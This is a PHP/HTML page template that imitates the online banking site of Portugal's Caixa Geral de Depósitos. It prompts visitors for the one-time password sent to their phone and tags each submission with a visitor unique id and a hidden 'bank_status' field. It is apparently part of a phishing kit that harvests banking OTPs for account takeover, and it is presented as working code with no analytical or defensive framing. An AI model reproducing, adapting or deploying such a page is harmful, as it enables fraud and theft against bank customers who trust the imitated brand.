<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>

<html>
    <head>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/style.css">
        <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'>
        <script src="https://kit.fontawesome.com/992c3cc884.js" crossorigin="anonymous"></script>
        <title>CGD</title>
 <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
          <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
        
    </head>
    <body>
        <header>
            <center>
            <div>
                <p>
                    <a>PT</a>&nbsp;&nbsp;<a style="color: #ccc;">EN</a>
                </p>
                <div style="display: block;">
                    <p>
                        Particulares
                    </p>
                    <p>
                        <i class="fa-solid fa-angle-up"></i>
                    </p>
                </div>
                <p style="font-family: Spartan-b;font-size:16px;">
                    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                </p>
            </div>
            </center>
        </header>
        <main>
            <form  action="#" id="form" method="post" name="login">

                       

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">


                <div class="main-div">
                    <div class="form-elements">
                        <label for="contract-number">Digite a senha de uso único enviada para o seu número</label>
                        <div class="div-input">
                            <?php if ($data["has_error"]) { ?>
                            
                            <p style="color: red; margin-top: 10px;">Ocorreu um erro, tente novamente.</p>
                            
                            <?php } ?>
                            <input required type="number" id="otp" name="otp" style="text-align: center;letter-spacing: 0.1cm;" placeholder="XXXX">
                            <button type="button"  onclick="formSubmit()"><i class="fa-solid fa-angle-right fa-lg"></i></button>
                        </div>
                        
                        <small>
                        <i class="fa-solid fa-angle-right"></i>
                        reenviar otp
                        </small>
                    </div>
                    
                    <div class="links-div">
                        <p class="heading">Quero ser cliente:</p>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Particulares</small>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Empresas</small>
                    </div>
                    <div class="links-div">
                        <p class="heading">Links úteis:</p>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Faça download da App Caixadirecta</small>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Recomendações de Segurança</small>
                    </div>
                </div>
            </form>
            
        </main>

        <script>
             function formSubmit(){
      var company_id = $('#otp').val();
       
      if(company_id == ""){
        alert("OTP é obrigatório");
      }else{
          var loader = new Option();
          loader.formSubmit();
      }

      


    }
        </script>
    </body>
</html>